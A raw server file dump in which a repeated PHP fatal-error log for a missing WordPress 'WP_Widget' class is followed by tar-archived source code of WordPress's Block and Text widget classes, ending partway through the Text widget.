Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jun-2025 04:19:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[30-Jun-2025 04:32:56 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Jul-2025 11:46:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Jul-2025 12:13:10 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Jul-2025 00:36:04 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Jul-2025 00:47:17 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Jul-2025 14:53:00 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Jul-2025 15:03:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Jul-2025 10:13:15 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jul-2025 02:51:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Jul-2025 03:03:11 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jul-2025 04:16:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[17-Jul-2025 22:23:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Jul-2025 18:21:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[18-Jul-2025 18:38:44 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jul-2025 05:15:42 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jul-2025 14:28:29 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Jul-2025 14:47:02 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Aug-2025 11:52:39 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Aug-2025 12:16:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Aug-2025 23:09:03 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Aug-2025 13:43:30 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[02-Aug-2025 21:06:41 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[03-Aug-2025 19:31:53 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Aug-2025 01:31:25 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[04-Aug-2025 11:47:06 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[05-Aug-2025 01:36:32 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[06-Aug-2025 22:42:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[07-Aug-2025 15:11:58 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[08-Aug-2025 16:08:28 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[09-Aug-2025 16:34:35 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[10-Aug-2025 08:42:43 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[11-Aug-2025 13:17:08 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Aug-2025 00:37:48 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[12-Aug-2025 06:18:36 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[13-Aug-2025 03:06:21 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[15-Aug-2025 19:42:05 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
[19-Aug-2025 13:59:50 Australia/Sydney] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-includes/widgets/class-wp-widget-block.php on line 17
        class-wp-widget-block.php                                                                           0000644                 00000014635 15265674675 0011417 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Block class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 5.8.0
 */

/**
 * Core class used to implement a Block widget.
 *
 * @since 5.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Block extends WP_Widget {

	/**
	 * Default instance.
	 *
	 * @since 5.8.0
	 * @var array
	 */
	protected $default_instance = array(
		'content' => '',
	);

	/**
	 * Sets up a new Block widget instance.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_block',
			'description'                 => __( 'A widget containing a block.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'block', __( 'Block' ), $widget_ops, $control_ops );

		add_filter( 'is_wide_widget_in_customizer', array( $this, 'set_is_wide_widget_in_customizer' ), 10, 2 );
	}

	/**
	 * Outputs the content for the current Block widget instance.
	 *
	 * @since 5.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Block widget instance.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, $this->default_instance );

		echo str_replace(
			'widget_block',
			$this->get_dynamic_classname( $instance['content'] ),
			$args['before_widget']
		);

		/**
		 * Filters the content of the Block widget before output.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $content  The widget content.
		 * @param array           $instance Array of settings for the current widget.
		 * @param WP_Widget_Block $widget   Current Block widget instance.
		 */
		echo apply_filters(
			'widget_block_content',
			$instance['content'],
			$instance,
			$this
		);

		echo $args['after_widget'];
	}

	/**
	 * Calculates the classname to use in the block widget's container HTML.
	 *
	 * Usually this is set to `$this->widget_options['classname']` by
	 * dynamic_sidebar(). In this case, however, we want to set the classname
	 * dynamically depending on the block contained by this block widget.
	 *
	 * If a block widget contains a block that has an equivalent legacy widget,
	 * we display that legacy widget's class name. This helps with theme
	 * backwards compatibility.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content The HTML content of the current block widget.
	 * @return string The classname to use in the block widget's container HTML.
	 */
	private function get_dynamic_classname( $content ) {
		$blocks = parse_blocks( $content );

		$block_name = isset( $blocks[0] ) ? $blocks[0]['blockName'] : null;

		switch ( $block_name ) {
			case 'core/paragraph':
				$classname = 'widget_block widget_text';
				break;
			case 'core/calendar':
				$classname = 'widget_block widget_calendar';
				break;
			case 'core/search':
				$classname = 'widget_block widget_search';
				break;
			case 'core/html':
				$classname = 'widget_block widget_custom_html';
				break;
			case 'core/archives':
				$classname = 'widget_block widget_archive';
				break;
			case 'core/latest-posts':
				$classname = 'widget_block widget_recent_entries';
				break;
			case 'core/latest-comments':
				$classname = 'widget_block widget_recent_comments';
				break;
			case 'core/tag-cloud':
				$classname = 'widget_block widget_tag_cloud';
				break;
			case 'core/categories':
				$classname = 'widget_block widget_categories';
				break;
			case 'core/audio':
				$classname = 'widget_block widget_media_audio';
				break;
			case 'core/video':
				$classname = 'widget_block widget_media_video';
				break;
			case 'core/image':
				$classname = 'widget_block widget_media_image';
				break;
			case 'core/gallery':
				$classname = 'widget_block widget_media_gallery';
				break;
			case 'core/rss':
				$classname = 'widget_block widget_rss';
				break;
			default:
				$classname = 'widget_block';
		}

		/**
		 * The classname used in the block widget's container HTML.
		 *
		 * This can be set according to the name of the block contained by the block widget.
		 *
		 * @since 5.8.0
		 *
		 * @param string $classname  The classname to be used in the block widget's container HTML,
		 *                           e.g. 'widget_block widget_text'.
		 * @param string $block_name The name of the block contained by the block widget,
		 *                           e.g. 'core/paragraph'.
		 */
		return apply_filters( 'widget_block_dynamic_classname', $classname, $block_name );
	}

	/**
	 * Handles updating settings for the current Block widget instance.
	 *
	 * @since 5.8.0

	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance = array_merge( $this->default_instance, $old_instance );

		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['content'] = $new_instance['content'];
		} else {
			$instance['content'] = wp_kses_post( $new_instance['content'] );
		}

		return $instance;
	}

	/**
	 * Outputs the Block widget settings form.
	 *
	 * @since 5.8.0
	 *
	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
	 *
	 * @param array $instance Current instance.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, $this->default_instance );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'content' ); ?>">
				<?php
				/* translators: HTML code of the block, not an option that blocks HTML. */
				_e( 'Block HTML:' );
				?>
			</label>
			<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" rows="6" cols="50" class="widefat code"><?php echo esc_textarea( $instance['content'] ); ?></textarea>
		</p>
		<?php
	}

	/**
	 * Makes sure no block widget is considered to be wide.
	 *
	 * @since 5.8.0
	 *
	 * @param bool   $is_wide   Whether the widget is considered wide.
	 * @param string $widget_id Widget ID.
	 * @return bool Updated `is_wide` value.
	 */
	public function set_is_wide_widget_in_customizer( $is_wide, $widget_id ) {
		if ( str_starts_with( $widget_id, 'block-' ) ) {
			return false;
		}

		return $is_wide;
	}
}
                                                                                                   class-wp-widget-text.php                                                                            0000644                 00000051546 15265674675 0011313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Text class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Text widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Text extends WP_Widget {

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.8.1
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Sets up a new Text widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_text',
			'description'                 => __( 'Arbitrary text.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'text', __( 'Text' ), $widget_ops, $control_ops );
	}

	/**
	 * Adds hooks for enqueueing assets when registering all widget instances of this widget class.
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		if ( $this->is_preview() ) {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
		}

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		 */
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		/*
		 * Note that the widgets component in the customizer will also do
		 * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		 */
		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Text', 'render_control_template_scripts' ) );
	}

	/**
	 * Determines whether a given instance is legacy and should bypass using TinyMCE.
	 *
	 * @since 4.8.1
	 *
	 * @param array $instance {
	 *     Instance data.
	 *
	 *     @type string      $text   Content.
	 *     @type bool|string $filter Whether autop or content filters should apply.
	 *     @type bool        $legacy Whether widget is in legacy mode.
	 * }
	 * @return bool Whether Text widget instance contains legacy data.
	 */
	public function is_legacy_instance( $instance ) {

		// Legacy mode when not in visual mode.
		if ( isset( $instance['visual'] ) ) {
			return ! $instance['visual'];
		}

		// Or, the widget has been added/updated in 4.8.0 then filter prop is 'content' and it is no longer legacy.
		if ( isset( $instance['filter'] ) && 'content' === $instance['filter'] ) {
			return false;
		}

		// If the text is empty, then nothing is preventing migration to TinyMCE.
		if ( empty( $instance['text'] ) ) {
			return false;
		}

		$wpautop         = ! empty( $instance['filter'] );
		$has_line_breaks = ( str_contains( trim( $instance['text'] ), "\n" ) );

		// If auto-paragraphs are not enabled and there are line breaks, then ensure legacy mode.
		if ( ! $wpautop && $has_line_breaks ) {
			return true;
		}

		// If an HTML comment is present, assume legacy mode.
		if ( str_contains( $instance['text'], '<!--' ) ) {
			return true;
		}

		// In the rare case that DOMDocument is not available we cannot reliably sniff content and so we assume legacy.
		if ( ! class_exists( 'DOMDocument' ) ) {
			// @codeCoverageIgnoreStart
			return true;
			// @codeCoverageIgnoreEnd
		}

		$doc = new DOMDocument();

		// Suppress warnings generated by loadHTML.
		$errors = libxml_use_internal_errors( true );
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		@$doc->loadHTML(
			sprintf(
				'<!DOCTYPE html><html><head><meta charset="%s"></head><body>%s</body></html>',
				esc_attr( get_bloginfo( 'charset' ) ),
				$instance['text']
			)
		);
		libxml_use_internal_errors( $errors );

		$body = $doc->getElementsByTagName( 'body' )->item( 0 );

		// See $allowedposttags.
		$safe_elements_attributes = array(
			'strong'  => array(),
			'em'      => array(),
			'b'       => array(),
			'i'       => array(),
			'u'       => array(),
			's'       => array(),
			'ul'      => array(),
			'ol'      => array(),
			'li'      => array(),
			'hr'      => array(),
			'abbr'    => array(),
			'acronym' => array(),
			'code'    => array(),
			'dfn'     => array(),
			'a'       => array(
				'href' => true,
			),
			'img'     => array(
				'src' => true,
				'alt' => true,
			),
		);
		$safe_empty_elements      = array( 'img', 'hr', 'iframe' );

		foreach ( $body->getElementsByTagName( '*' ) as $element ) {
			/** @var DOMElement $element */
			$tag_name = strtolower( $element->nodeName );

			// If the element is not safe, then the instance is legacy.
			if ( ! isset( $safe_elements_attributes[ $tag_name ] ) ) {
				return true;
			}

			// If the element is not safely empty and it has empty contents, then legacy mode.
			if ( ! in_array( $tag_name, $safe_empty_elements, true ) && '' === trim( $element->textContent ) ) {
				return true;
			}

			// If an attribute is not recognized as safe, then the instance is legacy.
			foreach ( $element->attributes as $attribute ) {
				/** @var DOMAttr $attribute */
				$attribute_name = strtolower( $attribute->nodeName );

				if ( ! isset( $safe_elements_attributes[ $tag_name ][ $attribute_name ] ) ) {
					return true;
				}
			}
		}

		// Otherwise, the text contains no elements/attributes that TinyMCE could drop, and therefore the widget does not need legacy mode.
		return false;
	}

	/**
	 * Filters gallery shortcode attributes.
	 *
	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
	 * non-singular template where a $post context is not available.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attrs Attributes.
	 * @return array Attributes.
	 */
	public function _filter_gallery_shortcode_attrs( $attrs ) {
		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
			$attrs['id'] = -1;
		}
		return $attrs;
	}

	/**
	 * Outputs the content for the current Text widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Text widget instance.
	 */
	public function widget( $args, $instance ) {
		global $post;

		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$text                  = ! empty( $instance['text'] ) ? $instance['text'] : '';
		$is_visual_text_widget = ( ! empty( $instance['visual'] ) && ! empty( $instance['filter'] ) );

		// In 4.8.0 only, visual Text widgets get filter=content, without visual prop; upgrade instance props just-in-time.
		if ( ! $is_visual_text_widget ) {
			$is_visual_text_widget = ( isset( $instance['filter'] ) && 'content' === $instance['filter'] );
		}
		if ( $is_visual_text_widget ) {
			$instance['filter'] = true;
			$instance['visual'] = true;
		}

		/*
		 * Suspend legacy plugin-supplied do_shortcode() for 'widget_text' filter for the visual Text widget to prevent
		 * shortcodes being processed twice. Now do_shortcode() is added to the 'widget_text_content' filter in core itself
		 * and it applies after wpautop() to prevent corrupting HTML output added by the shortcode. When do_shortcode() is
		 * added to 'widget_text_content' then do_shortcode() will be manually called when in legacy mode as well.
		 */
		$widget_text_do_shortcode_priority       = has_filter( 'widget_text', 'do_shortcode' );
		$should_suspend_legacy_shortcode_support = ( $is_visual_text_widget && false !== $widget_text_do_shortcode_priority );
		if ( $should_suspend_legacy_shortcode_support ) {
			remove_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority );
		}

		// Override global $post so filters (and shortcodes) apply in a consistent context.
		$original_post = $post;
		if ( is_singular() ) {
			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
			$post = get_queried_object();
		} else {
			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
			$post = null;
		}

		// Prevent dumping out all attachments from the media library.
		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		/**
		 * Filters the content of the Text widget.
		 *
		 * @since 2.3.0
		 * @since 4.4.0 Added the `$widget` parameter.
		 * @since 4.8.1 The `$widget` param may now be a `WP_Widget_Custom_HTML` object in addition to a `WP_Widget_Text` object.
		 *
		 * @param string                               $text     The widget content.
		 * @param array                                $instance Array of settings for the current widget.
		 * @param WP_Widget_Text|WP_Widget_Custom_HTML $widget   Current text or HTML widget instance.
		 */
		$text = apply_filters( 'widget_text', $text, $instance, $this );

		if ( $is_visual_text_widget ) {

			/**
			 * Filters the content of the Text widget to apply changes expected from the visual (TinyMCE) editor.
			 *
			 * By default a subset of the_content filters are applied, including wpautop and wptexturize.
			 *
			 * @since 4.8.0
			 *
			 * @param string         $text     The widget content.
			 * @param array          $instance Array of settings for the current widget.
			 * @param WP_Widget_Text $widget   Current Text widget instance.
			 */
			$text = apply_filters( 'widget_text_content', $text, $instance, $this );
		} else {
			// Now in legacy mode, add paragraphs and line breaks when checkbox is checked.
			if ( ! empty( $instance['filter'] ) ) {
				$text = wpautop( $text );
			}

			/*
			 * Manually do shortcodes on the content when the core-added filter is present. It is added by default
			 * in core by adding do_shortcode() to the 'widget_text_content' filter to apply after wpautop().
			 * Since the legacy Text widget runs wpautop() after 'widget_text' filters are applied, the widget in
			 * legacy mode here manually applies do_shortcode() on the content unless the default
			 * core filter for 'widget_text_content' has been removed, or if do_shortcode() has already
			 * been applied via a plugin adding do_shortcode() to 'widget_text' filters.
			 */
			if ( has_filter( 'widget_text_content', 'do_shortcode' ) && ! $widget_text_do_shortcode_priority ) {
				if ( ! empty( $instance['filter'] ) ) {
					$text = shortcode_unautop( $text );
				}
				$text = do_shortcode( $text );
			}
		}

		// Restore post global.
		$post = $original_post;
		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		// Undo suspension of legacy plugin-supplied shortcode handling.
		if ( $should_suspend_legacy_shortcode_support ) {
			add_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority );
		}

		echo $args['before_widget'];
		if ( ! empty( $title ) ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$text = preg_replace_callback( '#<(video|iframe|object|embed)\s[^>]*>#i', array( $this, 'inject_video_max_width_style' ), $text );

		?>
			<div class="textwidget"><?php echo $text; ?></div>
		<?php
		echo $args['after_widget'];
	}

	/**
	 * Injects max-width and removes height for videos too constrained to fit inside sidebars on frontend.
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Widget_Media_Video::inject_video_max_width_style()
	 *
	 * @param array $matches Pattern matches from preg_replace_callback.
	 * @return string HTML Output.
	 */
	public function inject_video_max_width_style( $matches ) {
		$html = $matches[0];
		$html = preg_replace( '/\sheight="\d+"/', '', $html );
		$html = preg_replace( '/\swidth="\d+"/', '', $html );
		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
		return $html;
	}

	/**
	 * Handles updating settings for the current Text widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$new_instance = wp_parse_args(
			$new_instance,
			array(
				'title'  => '',
				'text'   => '',
				'filter' => false, // For back-compat.
				'visual' => null,  // Must be explicitly defined.
			)
		);

		$instance = $old_instance;

		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['text'] = $new_instance['text'];
		} else {
			$instance['text'] = wp_kses_post( $new_instance['text'] );
		}

		$instance['filter'] = ! empty( $new_instance['filter'] );

		// Upgrade 4.8.0 format.
		if ( isset( $old_instance['filter'] ) && 'content' === $old_instance['filter'] ) {
			$instance['visual'] = true;
		}
		if ( 'content' === $new_instance['filter'] ) {
			$instance['visual'] = true;
		}

		if ( isset( $new_instance['visual'] ) ) {
			$instance['visual'] = ! empty( $new_instance['visual'] );
		}

		// Filter is always true in visual mode.
		if ( ! empty( $instance['visual'] ) ) {
			$instance['filter'] = true;
		}

		return $instance;
	}

	/**
	 * Enqueues preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a playlist shortcode is used.
	 * However, in the customizer, a playlist shortcode may be used in a text widget and
	 * dynamically added via selective refresh, so it is important to unconditionally enqueue them.
	 *
	 * @since 4.9.3
	 */
	public function enqueue_preview_scripts() {
		require_once dirname( __DIR__ ) . '/media.php';

		wp_playlist_scripts( 'audio' );
		wp_playlist_scripts( 'video' );
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		wp_enqueue_editor();
		wp_enqueue_media();
		wp_enqueue_script( 'text-widgets' );
		wp_add_inline_script( 'text-widgets', sprintf( 'wp.textWidgets.idBases.push( %s );', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) );
		wp_add_inline_script( 'text-widgets', 'wp.textWidgets.init();', 'after' );
	}

	/**
	 * Outputs the Text widget settings form.
	 *
	 * @since 2.8.0
	 * @since 4.8.0 Form only contains hidden inputs which are synced with JS template.
	 * @since 4.8.1 Restored original form to be displayed when in legacy mode.
	 *
